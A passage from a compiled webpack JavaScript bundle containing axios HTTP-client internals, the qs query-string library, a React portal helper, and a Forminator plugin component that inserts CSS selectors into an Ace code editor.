    key = utils.trim(line.substr(0, i)).toLowerCase();
    val = utils.trim(line.substr(i + 1));

    if (key) {
      if (parsed[key] && ignoreDuplicateOf.indexOf(key) >= 0) {
        return;
      }
      if (key === 'set-cookie') {
        parsed[key] = (parsed[key] ? parsed[key] : []).concat([val]);
      } else {
        parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
      }
    }
  });

  return parsed;
};


/***/ }),
/* 170 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(14);

module.exports = (
  utils.isStandardBrowserEnv() ?

  // Standard browser envs have full support of the APIs needed to test
  // whether the request URL is of the same origin as current location.
  (function standardBrowserEnv() {
    var msie = /(msie|trident)/i.test(navigator.userAgent);
    var urlParsingNode = document.createElement('a');
    var originURL;

    /**
    * Parse a URL to discover it's components
    *
    * @param {String} url The URL to be parsed
    * @returns {Object}
    */
    function resolveURL(url) {
      var href = url;

      if (msie) {
        // IE needs attribute set twice to normalize properties
        urlParsingNode.setAttribute('href', href);
        href = urlParsingNode.href;
      }

      urlParsingNode.setAttribute('href', href);

      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
      return {
        href: urlParsingNode.href,
        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
        host: urlParsingNode.host,
        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
        hostname: urlParsingNode.hostname,
        port: urlParsingNode.port,
        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?
                  urlParsingNode.pathname :
                  '/' + urlParsingNode.pathname
      };
    }

    originURL = resolveURL(window.location.href);

    /**
    * Determine if a URL shares the same origin as the current location
    *
    * @param {String} requestURL The URL to test
    * @returns {boolean} True if URL shares the same origin, otherwise false
    */
    return function isURLSameOrigin(requestURL) {
      var parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;
      return (parsed.protocol === originURL.protocol &&
            parsed.host === originURL.host);
    };
  })() :

  // Non standard browser envs (web workers, react-native) lack needed support.
  (function nonStandardBrowserEnv() {
    return function isURLSameOrigin() {
      return true;
    };
  })()
);


/***/ }),
/* 171 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


// btoa polyfill for IE<10 courtesy https://github.com/davidchambers/Base64.js

var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

function E() {
  this.message = 'String contains an invalid character';
}
E.prototype = new Error;
E.prototype.code = 5;
E.prototype.name = 'InvalidCharacterError';

function btoa(input) {
  var str = String(input);
  var output = '';
  for (
    // initialize result and counter
    var block, charCode, idx = 0, map = chars;
    // if the next str index does not exist:
    //   change the mapping table to "="
    //   check if d has no fractional digits
    str.charAt(idx | 0) || (map = '=', idx % 1);
    // "8 - idx % 1 * 8" generates the sequence 2, 4, 6, 8
    output += map.charAt(63 & block >> 8 - idx % 1 * 8)
  ) {
    charCode = str.charCodeAt(idx += 3 / 4);
    if (charCode > 0xFF) {
      throw new E();
    }
    block = block << 8 | charCode;
  }
  return output;
}

module.exports = btoa;


/***/ }),
/* 172 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(14);

module.exports = (
  utils.isStandardBrowserEnv() ?

  // Standard browser envs support document.cookie
  (function standardBrowserEnv() {
    return {
      write: function write(name, value, expires, path, domain, secure) {
        var cookie = [];
        cookie.push(name + '=' + encodeURIComponent(value));

        if (utils.isNumber(expires)) {
          cookie.push('expires=' + new Date(expires).toGMTString());
        }

        if (utils.isString(path)) {
          cookie.push('path=' + path);
        }

        if (utils.isString(domain)) {
          cookie.push('domain=' + domain);
        }

        if (secure === true) {
          cookie.push('secure');
        }

        document.cookie = cookie.join('; ');
      },

      read: function read(name) {
        var match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
        return (match ? decodeURIComponent(match[3]) : null);
      },

      remove: function remove(name) {
        this.write(name, '', Date.now() - 86400000);
      }
    };
  })() :

  // Non standard browser env (web workers, react-native) lack needed support.
  (function nonStandardBrowserEnv() {
    return {
      write: function write() {},
      read: function read() { return null; },
      remove: function remove() {}
    };
  })()
);


/***/ }),
/* 173 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(14);

function InterceptorManager() {
  this.handlers = [];
}

/**
 * Add a new interceptor to the stack
 *
 * @param {Function} fulfilled The function to handle `then` for a `Promise`
 * @param {Function} rejected The function to handle `reject` for a `Promise`
 *
 * @return {Number} An ID used to remove interceptor later
 */
InterceptorManager.prototype.use = function use(fulfilled, rejected) {
  this.handlers.push({
    fulfilled: fulfilled,
    rejected: rejected
  });
  return this.handlers.length - 1;
};

/**
 * Remove an interceptor from the stack
 *
 * @param {Number} id The ID that was returned by `use`
 */
InterceptorManager.prototype.eject = function eject(id) {
  if (this.handlers[id]) {
    this.handlers[id] = null;
  }
};

/**
 * Iterate over all the registered interceptors
 *
 * This method is particularly useful for skipping over any
 * interceptors that may have become `null` calling `eject`.
 *
 * @param {Function} fn The function to call for each interceptor
 */
InterceptorManager.prototype.forEach = function forEach(fn) {
  utils.forEach(this.handlers, function forEachHandler(h) {
    if (h !== null) {
      fn(h);
    }
  });
};

module.exports = InterceptorManager;


/***/ }),
/* 174 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(14);
var transformData = __webpack_require__(175);
var isCancel = __webpack_require__(83);
var defaults = __webpack_require__(50);
var isAbsoluteURL = __webpack_require__(176);
var combineURLs = __webpack_require__(177);

/**
 * Throws a `Cancel` if cancellation has been requested.
 */
function throwIfCancellationRequested(config) {
  if (config.cancelToken) {
    config.cancelToken.throwIfRequested();
  }
}

/**
 * Dispatch a request to the server using the configured adapter.
 *
 * @param {object} config The config that is to be used for the request
 * @returns {Promise} The Promise to be fulfilled
 */
module.exports = function dispatchRequest(config) {
  throwIfCancellationRequested(config);

  // Support baseURL config
  if (config.baseURL && !isAbsoluteURL(config.url)) {
    config.url = combineURLs(config.baseURL, config.url);
  }

  // Ensure headers exist
  config.headers = config.headers || {};

  // Transform request data
  config.data = transformData(
    config.data,
    config.headers,
    config.transformRequest
  );

  // Flatten headers
  config.headers = utils.merge(
    config.headers.common || {},
    config.headers[config.method] || {},
    config.headers || {}
  );

  utils.forEach(
    ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],
    function cleanHeaderConfig(method) {
      delete config.headers[method];
    }
  );

  var adapter = config.adapter || defaults.adapter;

  return adapter(config).then(function onAdapterResolution(response) {
    throwIfCancellationRequested(config);

    // Transform response data
    response.data = transformData(
      response.data,
      response.headers,
      config.transformResponse
    );

    return response;
  }, function onAdapterRejection(reason) {
    if (!isCancel(reason)) {
      throwIfCancellationRequested(config);

      // Transform response data
      if (reason && reason.response) {
        reason.response.data = transformData(
          reason.response.data,
          reason.response.headers,
          config.transformResponse
        );
      }
    }

    return Promise.reject(reason);
  });
};


/***/ }),
/* 175 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(14);

/**
 * Transform the data for a request or a response
 *
 * @param {Object|String} data The data to be transformed
 * @param {Array} headers The headers for the request or response
 * @param {Array|Function} fns A single function or Array of functions
 * @returns {*} The resulting transformed data
 */
module.exports = function transformData(data, headers, fns) {
  /*eslint no-param-reassign:0*/
  utils.forEach(fns, function transform(fn) {
    data = fn(data, headers);
  });

  return data;
};


/***/ }),
/* 176 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


/**
 * Determines whether the specified URL is absolute
 *
 * @param {string} url The URL to test
 * @returns {boolean} True if the specified URL is absolute, otherwise false
 */
module.exports = function isAbsoluteURL(url) {
  // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
  // by any combination of letters, digits, plus, period, or hyphen.
  return /^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(url);
};


/***/ }),
/* 177 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


/**
 * Creates a new URL by combining the specified URLs
 *
 * @param {string} baseURL The base URL
 * @param {string} relativeURL The relative URL
 * @returns {string} The combined URL
 */
module.exports = function combineURLs(baseURL, relativeURL) {
  return relativeURL
    ? baseURL.replace(/\/+$/, '') + '/' + relativeURL.replace(/^\/+/, '')
    : baseURL;
};


/***/ }),
/* 178 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var Cancel = __webpack_require__(84);

/**
 * A `CancelToken` is an object that can be used to request cancellation of an operation.
 *
 * @class
 * @param {Function} executor The executor function.
 */
function CancelToken(executor) {
  if (typeof executor !== 'function') {
    throw new TypeError('executor must be a function.');
  }

  var resolvePromise;
  this.promise = new Promise(function promiseExecutor(resolve) {
    resolvePromise = resolve;
  });

  var token = this;
  executor(function cancel(message) {
    if (token.reason) {
      // Cancellation has already been requested
      return;
    }

    token.reason = new Cancel(message);
    resolvePromise(token.reason);
  });
}

/**
 * Throws a `Cancel` if cancellation has been requested.
 */
CancelToken.prototype.throwIfRequested = function throwIfRequested() {
  if (this.reason) {
    throw this.reason;
  }
};

/**
 * Returns an object that contains a new `CancelToken` and a function that, when called,
 * cancels the `CancelToken`.
 */
CancelToken.source = function source() {
  var cancel;
  var token = new CancelToken(function executor(c) {
    cancel = c;
  });
  return {
    token: token,
    cancel: cancel
  };
};

module.exports = CancelToken;


/***/ }),
/* 179 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


/**
 * Syntactic sugar for invoking a function and expanding an array for arguments.
 *
 * Common use case would be to use `Function.prototype.apply`.
 *
 *  ```js
 *  function f(x, y, z) {}
 *  var args = [1, 2, 3];
 *  f.apply(null, args);
 *  ```
 *
 * With `spread` this example can be re-written.
 *
 *  ```js
 *  spread(function(x, y, z) {})([1, 2, 3]);
 *  ```
 *
 * @param {Function} callback
 * @returns {Function}
 */
module.exports = function spread(callback) {
  return function wrap(arr) {
    return callback.apply(null, arr);
  };
};


/***/ }),
/* 180 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(85);
var formats = __webpack_require__(86);

var arrayPrefixGenerators = {
    brackets: function brackets(prefix) { // eslint-disable-line func-name-matching
        return prefix + '[]';
    },
    indices: function indices(prefix, key) { // eslint-disable-line func-name-matching
        return prefix + '[' + key + ']';
    },
    repeat: function repeat(prefix) { // eslint-disable-line func-name-matching
        return prefix;
    }
};

var toISO = Date.prototype.toISOString;

var defaults = {
    delimiter: '&',
    encode: true,
    encoder: utils.encode,
    encodeValuesOnly: false,
    serializeDate: function serializeDate(date) { // eslint-disable-line func-name-matching
        return toISO.call(date);
    },
    skipNulls: false,
    strictNullHandling: false
};

var stringify = function stringify( // eslint-disable-line func-name-matching
    object,
    prefix,
    generateArrayPrefix,
    strictNullHandling,
    skipNulls,
    encoder,
    filter,
    sort,
    allowDots,
    serializeDate,
    formatter,
    encodeValuesOnly
) {
    var obj = object;
    if (typeof filter === 'function') {
        obj = filter(prefix, obj);
    } else if (obj instanceof Date) {
        obj = serializeDate(obj);
    } else if (obj === null) {
        if (strictNullHandling) {
            return encoder && !encodeValuesOnly ? encoder(prefix, defaults.encoder) : prefix;
        }

        obj = '';
    }

    if (typeof obj === 'string' || typeof obj === 'number' || typeof obj === 'boolean' || utils.isBuffer(obj)) {
        if (encoder) {
            var keyValue = encodeValuesOnly ? prefix : encoder(prefix, defaults.encoder);
            return [formatter(keyValue) + '=' + formatter(encoder(obj, defaults.encoder))];
        }
        return [formatter(prefix) + '=' + formatter(String(obj))];
    }

    var values = [];

    if (typeof obj === 'undefined') {
        return values;
    }

    var objKeys;
    if (Array.isArray(filter)) {
        objKeys = filter;
    } else {
        var keys = Object.keys(obj);
        objKeys = sort ? keys.sort(sort) : keys;
    }

    for (var i = 0; i < objKeys.length; ++i) {
        var key = objKeys[i];

        if (skipNulls && obj[key] === null) {
            continue;
        }

        if (Array.isArray(obj)) {
            values = values.concat(stringify(
                obj[key],
                generateArrayPrefix(prefix, key),
                generateArrayPrefix,
                strictNullHandling,
                skipNulls,
                encoder,
                filter,
                sort,
                allowDots,
                serializeDate,
                formatter,
                encodeValuesOnly
            ));
        } else {
            values = values.concat(stringify(
                obj[key],
                prefix + (allowDots ? '.' + key : '[' + key + ']'),
                generateArrayPrefix,
                strictNullHandling,
                skipNulls,
                encoder,
                filter,
                sort,
                allowDots,
                serializeDate,
                formatter,
                encodeValuesOnly
            ));
        }
    }

    return values;
};

module.exports = function (object, opts) {
    var obj = object;
    var options = opts ? utils.assign({}, opts) : {};

    if (options.encoder !== null && options.encoder !== undefined && typeof options.encoder !== 'function') {
        throw new TypeError('Encoder has to be a function.');
    }

    var delimiter = typeof options.delimiter === 'undefined' ? defaults.delimiter : options.delimiter;
    var strictNullHandling = typeof options.strictNullHandling === 'boolean' ? options.strictNullHandling : defaults.strictNullHandling;
    var skipNulls = typeof options.skipNulls === 'boolean' ? options.skipNulls : defaults.skipNulls;
    var encode = typeof options.encode === 'boolean' ? options.encode : defaults.encode;
    var encoder = typeof options.encoder === 'function' ? options.encoder : defaults.encoder;
    var sort = typeof options.sort === 'function' ? options.sort : null;
    var allowDots = typeof options.allowDots === 'undefined' ? false : options.allowDots;
    var serializeDate = typeof options.serializeDate === 'function' ? options.serializeDate : defaults.serializeDate;
    var encodeValuesOnly = typeof options.encodeValuesOnly === 'boolean' ? options.encodeValuesOnly : defaults.encodeValuesOnly;
    if (typeof options.format === 'undefined') {
        options.format = formats['default'];
    } else if (!Object.prototype.hasOwnProperty.call(formats.formatters, options.format)) {
        throw new TypeError('Unknown format option provided.');
    }
    var formatter = formats.formatters[options.format];
    var objKeys;
    var filter;

    if (typeof options.filter === 'function') {
        filter = options.filter;
        obj = filter('', obj);
    } else if (Array.isArray(options.filter)) {
        filter = options.filter;
        objKeys = filter;
    }

    var keys = [];

    if (typeof obj !== 'object' || obj === null) {
        return '';
    }

    var arrayFormat;
    if (options.arrayFormat in arrayPrefixGenerators) {
        arrayFormat = options.arrayFormat;
    } else if ('indices' in options) {
        arrayFormat = options.indices ? 'indices' : 'repeat';
    } else {
        arrayFormat = 'indices';
    }

    var generateArrayPrefix = arrayPrefixGenerators[arrayFormat];

    if (!objKeys) {
        objKeys = Object.keys(obj);
    }

    if (sort) {
        objKeys.sort(sort);
    }

    for (var i = 0; i < objKeys.length; ++i) {
        var key = objKeys[i];

        if (skipNulls && obj[key] === null) {
            continue;
        }

        keys = keys.concat(stringify(
            obj[key],
            key,
            generateArrayPrefix,
            strictNullHandling,
            skipNulls,
            encode ? encoder : null,
            filter,
            sort,
            allowDots,
            serializeDate,
            formatter,
            encodeValuesOnly
        ));
    }

    var joined = keys.join(delimiter);
    var prefix = options.addQueryPrefix === true ? '?' : '';

    return joined.length > 0 ? prefix + joined : '';
};


/***/ }),
/* 181 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var utils = __webpack_require__(85);

var has = Object.prototype.hasOwnProperty;

var defaults = {
    allowDots: false,
    allowPrototypes: false,
    arrayLimit: 20,
    decoder: utils.decode,
    delimiter: '&',
    depth: 5,
    parameterLimit: 1000,
    plainObjects: false,
    strictNullHandling: false
};

var parseValues = function parseQueryStringValues(str, options) {
    var obj = {};
    var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str;
    var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit;
    var parts = cleanStr.split(options.delimiter, limit);

    for (var i = 0; i < parts.length; ++i) {
        var part = parts[i];

        var bracketEqualsPos = part.indexOf(']=');
        var pos = bracketEqualsPos === -1 ? part.indexOf('=') : bracketEqualsPos + 1;

        var key, val;
        if (pos === -1) {
            key = options.decoder(part, defaults.decoder);
            val = options.strictNullHandling ? null : '';
        } else {
            key = options.decoder(part.slice(0, pos), defaults.decoder);
            val = options.decoder(part.slice(pos + 1), defaults.decoder);
        }
        if (has.call(obj, key)) {
            obj[key] = [].concat(obj[key]).concat(val);
        } else {
            obj[key] = val;
        }
    }

    return obj;
};

var parseObject = function (chain, val, options) {
    var leaf = val;

    for (var i = chain.length - 1; i >= 0; --i) {
        var obj;
        var root = chain[i];

        if (root === '[]') {
            obj = [];
            obj = obj.concat(leaf);
        } else {
            obj = options.plainObjects ? Object.create(null) : {};
            var cleanRoot = root.charAt(0) === '[' && root.charAt(root.length - 1) === ']' ? root.slice(1, -1) : root;
            var index = parseInt(cleanRoot, 10);
            if (
                !isNaN(index)
                && root !== cleanRoot
                && String(index) === cleanRoot
                && index >= 0
                && (options.parseArrays && index <= options.arrayLimit)
            ) {
                obj = [];
                obj[index] = leaf;
            } else {
                obj[cleanRoot] = leaf;
            }
        }

        leaf = obj;
    }

    return leaf;
};

var parseKeys = function parseQueryStringKeys(givenKey, val, options) {
    if (!givenKey) {
        return;
    }

    // Transform dot notation to bracket notation
    var key = options.allowDots ? givenKey.replace(/\.([^.[]+)/g, '[$1]') : givenKey;

    // The regex chunks

    var brackets = /(\[[^[\]]*])/;
    var child = /(\[[^[\]]*])/g;

    // Get the parent

    var segment = brackets.exec(key);
    var parent = segment ? key.slice(0, segment.index) : key;

    // Stash the parent if it exists

    var keys = [];
    if (parent) {
        // If we aren't using plain objects, optionally prefix keys
        // that would overwrite object prototype properties
        if (!options.plainObjects && has.call(Object.prototype, parent)) {
            if (!options.allowPrototypes) {
                return;
            }
        }

        keys.push(parent);
    }

    // Loop through children appending to the array until we hit depth

    var i = 0;
    while ((segment = child.exec(key)) !== null && i < options.depth) {
        i += 1;
        if (!options.plainObjects && has.call(Object.prototype, segment[1].slice(1, -1))) {
            if (!options.allowPrototypes) {
                return;
            }
        }
        keys.push(segment[1]);
    }

    // If there's a remainder, just add whatever is left

    if (segment) {
        keys.push('[' + key.slice(segment.index) + ']');
    }

    return parseObject(keys, val, options);
};

module.exports = function (str, opts) {
    var options = opts ? utils.assign({}, opts) : {};

    if (options.decoder !== null && options.decoder !== undefined && typeof options.decoder !== 'function') {
        throw new TypeError('Decoder has to be a function.');
    }

    options.ignoreQueryPrefix = options.ignoreQueryPrefix === true;
    options.delimiter = typeof options.delimiter === 'string' || utils.isRegExp(options.delimiter) ? options.delimiter : defaults.delimiter;
    options.depth = typeof options.depth === 'number' ? options.depth : defaults.depth;
    options.arrayLimit = typeof options.arrayLimit === 'number' ? options.arrayLimit : defaults.arrayLimit;
    options.parseArrays = options.parseArrays !== false;
    options.decoder = typeof options.decoder === 'function' ? options.decoder : defaults.decoder;
    options.allowDots = typeof options.allowDots === 'boolean' ? options.allowDots : defaults.allowDots;
    options.plainObjects = typeof options.plainObjects === 'boolean' ? options.plainObjects : defaults.plainObjects;
    options.allowPrototypes = typeof options.allowPrototypes === 'boolean' ? options.allowPrototypes : defaults.allowPrototypes;
    options.parameterLimit = typeof options.parameterLimit === 'number' ? options.parameterLimit : defaults.parameterLimit;
    options.strictNullHandling = typeof options.strictNullHandling === 'boolean' ? options.strictNullHandling : defaults.strictNullHandling;

    if (str === '' || str === null || typeof str === 'undefined') {
        return options.plainObjects ? Object.create(null) : {};
    }

    var tempObj = typeof str === 'string' ? parseValues(str, options) : str;
    var obj = options.plainObjects ? Object.create(null) : {};

    // Iterate over the keys and setup the new object

    var keys = Object.keys(tempObj);
    for (var i = 0; i < keys.length; ++i) {
        var key = keys[i];
        var newObj = parseKeys(key, tempObj[key], options);
        obj = utils.merge(obj, newObj, options);
    }

    return utils.compact(obj);
};


/***/ }),
/* 182 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(global) {

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var React = __webpack_require__(0);
var ReactDOM = __webpack_require__(23);

// React 16+ supports Portals.
var canUsePortals = !!ReactDOM.createPortal;

function displace(WrappedComponent, options) {
  if (!global.document) {
    return function (_React$Component) {
      _inherits(EmptyDisplace, _React$Component);

      function EmptyDisplace() {
        _classCallCheck(this, EmptyDisplace);

        return _possibleConstructorReturn(this, (EmptyDisplace.__proto__ || Object.getPrototypeOf(EmptyDisplace)).apply(this, arguments));
      }

      _createClass(EmptyDisplace, [{
        key: 'render',
        value: function render() {
          return false;
        }
      }]);

      return EmptyDisplace;
    }(React.Component);
  }

  options = options || {};

  var Displaced = function (_React$Component2) {
    _inherits(Displaced, _React$Component2);

    function Displaced() {
      var _ref;

      var _temp, _this2, _ret;

      _classCallCheck(this, Displaced);

      for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
        args[_key] = arguments[_key];
      }

      return _ret = (_temp = (_this2 = _possibleConstructorReturn(this, (_ref = Displaced.__proto__ || Object.getPrototypeOf(Displaced)).call.apply(_ref, [this].concat(args))), _this2), _this2.renderDisplaced = function () {
        ReactDOM.unstable_renderSubtreeIntoContainer(_this2, React.createElement(WrappedComponent, _this2.props, _this2.props.children), _this2.container);
      }, _this2.removeDisplaced = function () {
        ReactDOM.unmountComponentAtNode(_this2.container);
      }, _temp), _possibleConstructorReturn(_this2, _ret);
    }

    _createClass(Displaced, [{
      key: 'componentWillMount',
      value: function componentWillMount() {
        this.container = function () {
          if (!options.renderTo) {
            var result = document.createElement('div');
            document.body.appendChild(result);
            return result;
          } else if (typeof options.renderTo === 'string') {
            return document.querySelector(options.renderTo);
          } else {
            return options.renderTo;
          }
        }();
      }
    }, {
      key: 'componentDidMount',
      value: function componentDidMount() {
        if (canUsePortals) return;
        if (this.props.mounted) {
          this.renderDisplaced();
        }
      }
    }, {
      key: 'componentDidUpdate',
      value: function componentDidUpdate(prevProps) {
        if (canUsePortals) return;
        if (prevProps.mounted && !this.props.mounted) {
          ReactDOM.unmountComponentAtNode(this.container);
        } else if (this.props.mounted) {
          this.renderDisplaced();
        }
      }
    }, {
      key: 'componentWillUnmount',
      value: function componentWillUnmount() {
        if (!canUsePortals) {
          ReactDOM.unmountComponentAtNode(this.container);
        }
        if (!options.renderTo) {
          this.container.parentNode.removeChild(this.container);
        }
      }
    }, {
      key: 'render',
      value: function render() {
        if (!canUsePortals || this.props.mounted === false) {
          return null;
        }
        return ReactDOM.createPortal(React.createElement(WrappedComponent, this.props, this.props.children), this.container);
      }
    }]);

    return Displaced;
  }(React.Component);

  Displaced.defaultProps = {
    mounted: true
  };
  Displaced.WrappedComponent = WrappedComponent;


  return Displaced;
}

module.exports = displace;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(42)))

/***/ }),
/* 183 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var AceEditor = function (_Component) {
	_inherits(AceEditor, _Component);

	function AceEditor(props) {
		_classCallCheck(this, AceEditor);

		var _this = _possibleConstructorReturn(this, (AceEditor.__proto__ || Object.getPrototypeOf(AceEditor)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		_this.insertSelector = _this.insertSelector.bind(_this);
		return _this;
	}

	_createClass(AceEditor, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			// eslint-disable-next-line no-undef
			this.editor = ace.edit('forminator-field-' + this.props.property);

			this.session = this.editor.getSession();
			this.session.setUseWorker(false);
			this.editor.setShowPrintMargin(false);

			this.session.setMode('ace/mode/css');
			this.editor.setTheme('ace/theme/sui');
			this.editor.renderer.setShowGutter(true);
			this.editor.setHighlightActiveLine(true);
			this.editor.focus();

			this.editor.on('change', this.updateValue);
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.editor.destroy();
			this.editor = null;
		}
	}, {
		key: 'insertSelector',
		value: function insertSelector(selector) {
			var selectClass = selector + '{}';

			this.editor.navigateFileEnd();
			this.editor.insert(selectClass);
			this.editor.navigateLeft(1);
			this.editor.focus();
		}
	}, {
		key: 'shouldComponentUpdate',
		value: function shouldComponentUpdate() {
			return false;
		}
	}, {
		key: 'updateValue',
		value: function updateValue() {
			this.props.actions.settingsActions.updateSetting(this.props.property, this.editor.getValue());
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? '' : this.props.settings[this.props.property];

			var type = !_.isUndefined(this.props.type) ? this.props.type : 'form';

			if ('pdf-form' === this.props.formType) {
				type = this.props.formType;
			}

			var basicSelectors = _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'label',
					{ className: 'sui-label' },
					(0, _utils.translate)('Basic selectors')
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-ace-selectors' },
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' ');
							}
						},
						(0, _utils.translate)('Form')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-title ');
							}
						},
						(0, _utils.translate)('Section Title')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-subtitle ');
							}
						},
						(0, _utils.translate)('Section Subtitle')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-label ');
							}
						},
						(0, _utils.translate)('Field Label')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-description ');
							}
						},
						(0, _utils.translate)('Field Description')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-input ');
							}
						},
						(0, _utils.translate)('Input')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-textarea ');
							}
						},
						(0, _utils.translate)('Textarea')
					)
				)
			);

			var pollSelectors = _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'label',
					{ className: 'sui-label' },
					(0, _utils.translate)('Basic selectors')
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-ace-selectors' },
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' ');
							}
						},
						(0, _utils.translate)('Poll')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-poll--question ');
							}
						},
						(0, _utils.translate)('Question')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-radio .forminator-radio-bullet ');
							}
						},
						(0, _utils.translate)('Answer Input')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector('.forminator-radio .forminator-radio-label ');
							}
						},
						(0, _utils.translate)('Answer Label')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-button ');
							}
						},
						(0, _utils.translate)('Submit Button')
					),
					_react2.default.createElement(
						'a',
						{ className: 'sui-selector sui-insert-selector',
							onClick: function onClick() {
								return _this2.insertSelector(' .forminator-poll-footer a.forminator-link, ' + '.forminator-poll-footer a.forminator-link:visited ');
							}
						},
						(0, _utils.translate)('View Results Link')
					)
				)
			);

			var quizSelectors = _react2.default.createElement(
				_react2.default.Fragment,
				null,
